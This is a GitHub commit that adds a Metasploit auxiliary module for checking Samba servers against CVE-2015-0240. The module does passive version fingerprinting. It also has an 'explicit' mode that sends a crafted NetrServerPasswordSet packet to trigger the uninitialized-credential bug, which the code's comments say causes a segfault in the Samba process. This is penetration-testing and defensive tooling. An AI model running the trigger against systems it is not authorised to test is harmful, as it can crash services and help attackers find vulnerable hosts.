Skip to content

Commit d40e748

Browse files
committed
Add CVE-2015-0240 auxiliary module
1 parent b9a30d6 commit d40e748

File tree

1 file changed

+275
-0
lines changed

1 file changed

+275
-0
lines changed
Lines changed: 275 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,275 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/auxiliary/report'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
# Exploit mixins should be called first
12+
include Msf::Exploit::Remote::DCERPC
13+
include Msf::Exploit::Remote::SMB::Client
14+
include Msf::Exploit::Remote::SMB::Client::Authenticated
15+
16+
# Scanner mixin should be near last
17+
include Msf::Auxiliary::Scanner
18+
include Msf::Auxiliary::Report
19+
20+
# Aliases for common classes
21+
SIMPLE = Rex::Proto::SMB::SimpleClient
22+
XCEPT = Rex::Proto::SMB::Exceptions
23+
CONST = Rex::Proto::SMB::Constants
24+
25+
RPC_NETLOGON_UUID = '12345678-1234-abcd-ef00-01234567cffb'
26+
27+
def initialize(info={})
28+
super(update_info(info,
29+
'Name' => 'Samba _netr_ServerPasswordSet Uninitialized Credential State',
30+
'Description' => %q{
31+
This module checks if your Samba target is vulnerable to an uninitialized variable creds.
32+
},
33+
'Author' =>
34+
[
35+
'Richard van Eeden', # Original discovery
36+
'sleepya', # Public PoC for the explicit check
37+
'sinn3r'
38+
],
39+
'License' => MSF_LICENSE,
40+
'References' =>
41+
[
42+
['CVE', '2015-0240'],
43+
['OSVDB', '118637'],
44+
['URL', 'https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/'],
45+
['URL', 'https://gist.github.com/worawit/33cc5534cb555a0b710b'],
46+
['URL', 'https://www.nccgroup.com/en/blog/2015/03/samba-_netr_serverpasswordset-expoitability-analysis/']
47+
],
48+
'DefaultOptions' =>
49+
{
50+
'SMBDirect' => true,
51+
'SMBPass' => '',
52+
'SMBUser' => '',
53+
'SMBDomain' => '',
54+
'DCERPC::fake_bind_multi' => false
55+
}
56+
))
57+
58+
# This is a good example of passive vs explicit check
59+
register_options([
60+
OptEnum.new('CHECK_STYLE',
61+
[
62+
true,
63+
'Explicit style will actually try to trigger the bug, otheriwse purely a banner check',
64+
'PASSIVE',
65+
['EXPLICIT', 'PASSIVE']
66+
])
67+
])
68+
69+
# It's either 139 or 445. The user should not touch this.
70+
deregister_options('RPORT', 'RHOST')
71+
end
72+
73+
def rport
74+
@smb_port || datastore['RPORT']
75+
end
76+
77+
78+
# This method is more explicit, but a major downside is it's very slow.
79+
# So we leave the passive one as an option.
80+
# Please also see #maybe_vulnerable?
81+
def is_vulnerable?(ip)
82+
begin
83+
connect
84+
smb_login
85+
handle = dcerpc_handle(RPC_NETLOGON_UUID, '1.0','ncacn_np', ["\\netlogon"])
86+
dcerpc_bind(handle)
87+
rescue ::Rex::Proto::SMB::Exceptions::LoginError,
88+
::Rex::Proto::SMB::Exceptions::ErrorCode => e
89+
elog("#{e.message}\n#{e.backtrace * "\n"}")
90+
return false
91+
rescue Errno::ECONNRESET,
92+
::Rex::Proto::SMB::Exceptions::InvalidType,
93+
::Rex::Proto::SMB::Exceptions::ReadPacket,
94+
::Rex::Proto::SMB::Exceptions::InvalidCommand,
95+
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
96+
::Rex::Proto::SMB::Exceptions::NoReply => e
97+
elog("#{e.message}\n#{e.backtrace * "\n"}")
98+
return false
99+
rescue ::Exception => e
100+
elog("#{e.message}\n#{e.backtrace * "\n"}")
101+
return false
102+
end
103+
104+
# NetrServerPasswordSet request packet
105+
stub =
106+
[
107+
0x00, # Server handle
108+
0x01, # Max count
109+
0x00, # Offset
110+
0x01, # Actual count
111+
0x00, # Account name
112+
0x02, # Sec Chan Type
113+
0x0e, # Max count
114+
0x00, # Offset
115+
0x0e # Actual count
116+
].pack('VVVVvvVVV')
117+
118+
stub << Rex::Text::to_unicode(ip) # Computer name
119+
stub << [0x00].pack('v') # Null byte terminator for the computer name
120+
stub << '12345678' # Credential
121+
stub << [0x0a].pack('V') # Timestamp
122+
stub << "\x00" * 16 # Padding
123+
124+
begin
125+
dcerpc.call(0x06, stub)
126+
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
127+
elog("#{e.message}\n#{e.backtrace * "\n"}")
128+
rescue Errno::ECONNRESET,
129+
::Rex::Proto::SMB::Exceptions::InvalidType,
130+
::Rex::Proto::SMB::Exceptions::ReadPacket,
131+
::Rex::Proto::SMB::Exceptions::InvalidCommand,
132+
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
133+
::Rex::Proto::SMB::Exceptions::NoReply => e
134+
elog("#{e.message}\n#{e.backtrace * "\n"}")
135+
rescue ::Exception => e
136+
if e.to_s =~ /execution expired/i
137+
# So what happens here is that when you trigger the buggy code path, you hit this:
138+
# Program received signal SIGSEGV, Segmentation fault.
139+
# 0xb732ab3b in talloc_chunk_from_ptr (ptr=0xc) at ../lib/talloc/talloc.c:370
140+
# 370 if (unlikely((tc->flags & (TALLOC_FLAG_FREE | ~0xF)) != TALLOC_MAGIC)) {
141+
# In the Samba log, you'll see this as an "internal error" and there will be a "panic action".
142+
# And then Samba will basically not talk back to you at that point. In that case,
143+
# you will either lose the connection, or timeout, or whatever... depending on the SMB
144+
# API you're using. In our case (Metasploit), it's "execution expired."
145+
# Samba (daemon) will stay alive, so it's all good.
146+
return true
147+
else
148+
raise e
149+
end
150+
end
151+
152+
false
153+
ensure
154+
disconnect
155+
end
156+
157+
158+
# Returns the Samba version
159+
def get_samba_info
160+
res = ''
161+
begin
162+
res = smb_fingerprint
163+
rescue ::Rex::Proto::SMB::Exceptions::LoginError,
164+
::Rex::Proto::SMB::Exceptions::ErrorCode
165+
return res
166+
rescue Errno::ECONNRESET,
167+
::Rex::Proto::SMB::Exceptions::InvalidType,
168+
::Rex::Proto::SMB::Exceptions::ReadPacket,
169+
::Rex::Proto::SMB::Exceptions::InvalidCommand,
170+
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
171+
::Rex::Proto::SMB::Exceptions::NoReply
172+
return res
173+
rescue ::Exception => e
174+
if e.to_s =~ /execution expired/
175+
return res
176+
else
177+
raise e
178+
end
179+
ensure
180+
disconnect
181+
end
182+
183+
res['native_lm'].to_s
184+
end
185+
186+
187+
# Converts a version string into an object so we can eval it
188+
def version(v)
189+
Gem::Version.new(v)
190+
end
191+
192+
193+
# Passive check for the uninitialized bug. The information is based on http://cve.mitre.org/
194+
def maybe_vulnerable?(samba_version)
195+
v = samba_version.scan(/Samba (\d+\.\d+\.\d+)/).flatten[0] || ''
196+
return false if v.empty?
197+
found_version = version(v)
198+
199+
if found_version >= version('3.5.0') && found_version <= version('3.5.9')
200+
return true
201+
elsif found_version >= version('3.6.0') && found_version < version('3.6.25')
202+
return true
203+
elsif found_version >= version('4.0.0') && found_version < version('4.0.25')
204+
return true
205+
elsif found_version >= version('4.1.0') && found_version < version('4.1.17')
206+
return true
207+
end
208+
209+
false
210+
end
211+
212+
213+
# Check command
214+
def check_host(ip)
215+
samba_info = ''
216+
smb_ports = [445, 139]
217+
smb_ports.each do |port|
218+
@smb_port = port
219+
samba_info = get_samba_info
220+
vprint_status("Samba version: #{samba_info}")
221+
222+
if samba_info !~ /^samba/i
223+
vprint_status("Target isn't Samba, no check will run.")
224+
return Exploit::CheckCode::Safe
225+
end
226+
227+
case datastore['CHECK_STYLE']
228+
when /explicit/i
229+
if is_vulnerable?(ip)
230+
flag_vuln_host(ip, samba_info)
231+
return Exploit::CheckCode::Vulnerable
232+
end
233+
when /passive/i
234+
if maybe_vulnerable?(samba_info)
235+
flag_vuln_host(ip, samba_info)
236+
return Exploit::CheckCode::Appears
237+
end
238+
end
239+
end
240+
241+
return Exploit::CheckCode::Detected if samba_info =~ /^samba/i
242+
243+
Exploit::CheckCode::Safe
244+
end
245+
246+
247+
# Reports to the database about a possible vulnerable host
248+
def flag_vuln_host(ip, samba_version)
249+
report_vuln(
250+
:host => ip,
251+
:port => rport,
252+
:proto => 'tcp',
253+
:name => self.name,
254+
:info => samba_version,
255+
:refs => self.references
256+
)
257+
end
258+
259+
260+
def run_host(ip)
261+
peer = "#{ip}:#{rport}"
262+
case check_host(ip)
263+
when Exploit::CheckCode::Vulnerable
264+
print_good("#{peer} - The target is vulnerable to CVE-2015-0240.")
265+
when Exploit::CheckCode::Appears
266+
print_good("#{peer} - The target appears to be vulnerable to CVE-2015-0240.")
267+
when Exploit::CheckCode::Detected
268+
print_status("#{peer} - The target appears to be running Samba.")
269+
else
270+
print_status("#{peer} - The target appears to be safe")
271+
end
272+
end
273+
274+
end
275+

0 commit comments

Comments
 (0)